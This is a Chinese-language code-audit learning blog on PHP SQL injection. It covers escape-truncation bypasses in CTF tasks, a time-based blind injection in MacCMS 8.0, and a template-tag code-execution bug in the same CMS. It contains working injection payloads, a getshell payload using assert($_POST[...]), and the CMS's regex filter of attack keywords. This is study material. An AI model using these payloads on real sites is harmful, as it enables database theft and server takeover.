写在前面
红日安全的代码审计文章写的确实很好.打算跟着这些文章慢慢复现,开启代码审计之路吧.
第一篇http://sec-redclub.com/archives/975/ PS:我是从最近的文章开始复现.
0x01
该文章一开始贴上了一题CTF题具体的分析还是看文章吧.
自我总结一下漏洞的产生
传入的参数username,password都有经过sanitizeinput()函数处理.该函数主要功能是,先对传入的参数用addslashes()函数转义特殊字符,例如单引号.然后再substr()截取20个字符.
那么问题来了
假设我们输入值为
1 | 0123456789123456789’ // 注意最后有个单引号 |
这时通过addslashes()函数的处理就会变成
1 | 0123456789123456789\’ // 一共21个字符 |
然后在用substr()截取出20个字符, 则变成了
1 | 0123456789123456789\ |
接着查看sql部分的语句
1 | select count(p) from user u where user = '$username' AND password = '$pass' |
当我们将构造的20个字符输入到username里,则语句变为
1 | select count(p) from user u where user = '1234567890123456789\' AND password = '$pass' |
由于反斜杆可以把单引号转义,也就是user的内容变为了
1 | 1234567890123456789\' AND password = |
使得了绕过了防御从而产生注入.
最终我们的payload
1 | user=1234567890123456789'&passwd=or 1=1# |
0x02
理解了这题之后,突然想起南京邮电大学上有一题似乎类似,于是就按照相同的原理去做了一遍
题目 http://chinalover.sinaapp.com/web15/index.php
题目给的源码
1 | <!-- |
可以看出username和passworde都被clean函数处理过.
1 | addslashes():对输入字符串中的某些预定义字符前添加反斜杠,这样处理是为了数据库查询语句等的需要。这些预定义字符是:单引号 (') ,双引号 (") ,反斜杠 (\) ,NULL |
1 | stripslashes():删除由 addslashes() 函数添加的反斜杠。该函数用于清理从数据库或 HTML 表单中取回的数据。(若是连续二个反斜杠,则去掉一个,保留一个;若只有一个反斜杠,就直接去掉。) |
1 | 默认情况下,PHP 指令 magic_quotes_gpc 为 on,对所有的 GET、POST 和 COOKIE 数据自动运行 addslashes()。不要对已经被 magic_quotes_gpc 转义过的字符串使用 addslashes(),因为这样会导致双层转义。遇到这种情况时可以使用函数 get_magic_quotes_gpc() 进行检测。 |
也就是说我们传入的值已经被addslashes()函数处理了,可是为了防止双层转义get_magic_quotes_gpc()方法调用了stripslashes()将由addslashes()产生的反斜杠去除.
当我们构造了
1 | username =\ &password= or 1=1 # |
语句成
1 | $query='SELECT * FROM users WHERE name=' \' AND pass='or 1=1%23'; '; |
可以看出 单引号闭合以后name的内容为
1 | \' AND pass= |
因此成功绕过了防护
0x03
实例分析 苹果CMS视频分享程序8.0
说实话我看不出这为啥存在注入….文章里说明显存在.. 可能我还是太菜了.
问题代码 inc/common/template.php
1 | if (!empty($lp['wd'])){ |
看看lp的值来源过来的
1 | if(!empty($this->P["wd"])){ $lp['wd'] = $this->P["wd"]; $this->P["auto"] = true; } |
lp[“wd”]的值有P[“wd”]赋值.
寻找一下P[“wd”]
inc/module/vod.php发现给PW[“wd”]传值语句
1 | elseif($method=='search') |
以上代码可以看出wd参数事先经过了be()函数处理,跟进一下be()函数
1 | function be($mode,$key,$sp=',') |
该函数可以看出be()是对各种传参方式的数据进行过滤清洗
在看看be函数被调用的时候的语句
1 | be("all", "wd") |
结合以上代码可以得到 wd是通过REQUEST方法将参数传入,并且用addslashes()进行转义.这里其实不太可能出现注入点了.
当be处理结束以后调用chksql()函数
将参数进行url解码
检测是否存在注入,其中有个自定义的函数StopAttack(1,$s,$getfilter);
1 | function chkSql($s) |
利用正则检测是否存在攻击语句语句
1 | function StopAttack($StrFiltKey,$StrFiltValue,$ArrFiltReq) |
变量getfiter的内容.很明显用来匹配攻击语句
1 | $getfilter = "\\<.+javascript:window\\[.{1}\\\\x|<.*=(&#\\d+?;?)+?>|<.*(data|src)=data:text\\/html.*>|\\b(alert\\(|be\\(|eval\\(|confirm\\(|expression\\(|prompt\\(|benchmark\s*?\(.*\)|sleep\s*?\(.*\)|load_file\s*?\\()|<[a-z]+?\\b[^>]*?\\bon([a-z]{4,})\s*?=|^\\+\\/v(8|9)|\\b(and|or)\\b\\s*?([\\(\\)'\"\\d]+?=[\\(\\)'\"\\d]+?|[\\(\\)'\"a-zA-Z]+?=[\\(\\)'\"a-zA-Z]+?|>|<|\s+?[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+?[\"'])|\\/\\*.*\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT(\\(.+\\)|\\s+?.+?)|UPDATE(\\(.+\\)|\\s+?.+?)SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE)(\\(.+\\)|\\s+?.+?\\s+?)FROM(\\(.+\\)|\\s+?.+?)|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)|UNION([\s\S]*?)SELECT|_get|_post|_request|_cookie|eval|assert|base64_decode|file_get_contents|file_put_contents|fopen|chr|strtr|pack|gzuncompress|preg_replace|\\{if|\\{else|\\{|\\}|:php"; |
chksql()函数的返回值调用了一个htmlEncode()
跟进看看
1 | function htmlEncode($str) |
可以看出这个函数是对 & 、 ‘ 、 空格 、 “ 、 TAB 、 回车 、 换行 、 大于小于号 进行html实体编码,遗漏了反斜杠,还有其他空白符号.
现在回顾一下我们有什么条件可利用
首先wd是通过request传参数,
在如下语句中拼接进sql语句
1 | if (!empty($lp['wd'])){ |
危险字符经过实体编码和addslashes()的处理,但是实体编码遗漏了反斜杠,而addslashes是在url解码之前做转义,所以我们双重url解码之后就可以绕过adslashes函数,也就是说我们可以利用反斜杠去转义单引号,就回到了文章开头的知识点.
验证漏洞
可能我真的是脸黑,不知道什么原因漏洞没复现成功.原理大概理解了.又得偷图唉..
1 | payload |
拼接进语句以后
1 | $where .= ' AND ( instr(a_name,\'))||if((select%0b(select(m_name)``from(mac_manager))regexp(0x5e61)),(`sleep`(3)),0)#%25%35%63 \')>0 or instr(a_subname,\'))||if((select%0b(select(m_name)``from(mac_manager))regexp(0x5e61)),(`sleep`(3)),0)#%25%35%63\')>0 ) '; |
整理一下的语句
1 | AND ( instr(a_name,' |
0x04
任意代码执行
在复现以上漏洞的时候查了一些博客,发现这个CMS还存在任意代码执行,但是已经被修复了,就是添加了StopAttack()这个函数之后解决了这个问题.
把该函数注释掉以后就可以复现该漏洞了.
问题还是出在wd的参数可控构造满足正则的语句就可以被执行
payload
1 | wd={if-A:phpinfo()}{endif-A} |
这是可以执行phpinfo()的.把phpinfo()换成其他语句就可以getshell了
getshell_payload
1 | wd={if-A:assert($_POST[zhhhy])}{endif-A} |
最后还是没复现成功,真的是很心塞啊!
我觉得这个文章的顺序有点问题.. 作者先是一眼看出拼接进去的lp[wd]存在注入,再回头溯源发现wd是可控的.可能还是我太菜了.
按我理解的应该是抓取搜索框发出的包,发现wd参数可控,再到源码层里去追踪wd参数的去向,并记录一下该参数被哪些函数处理过.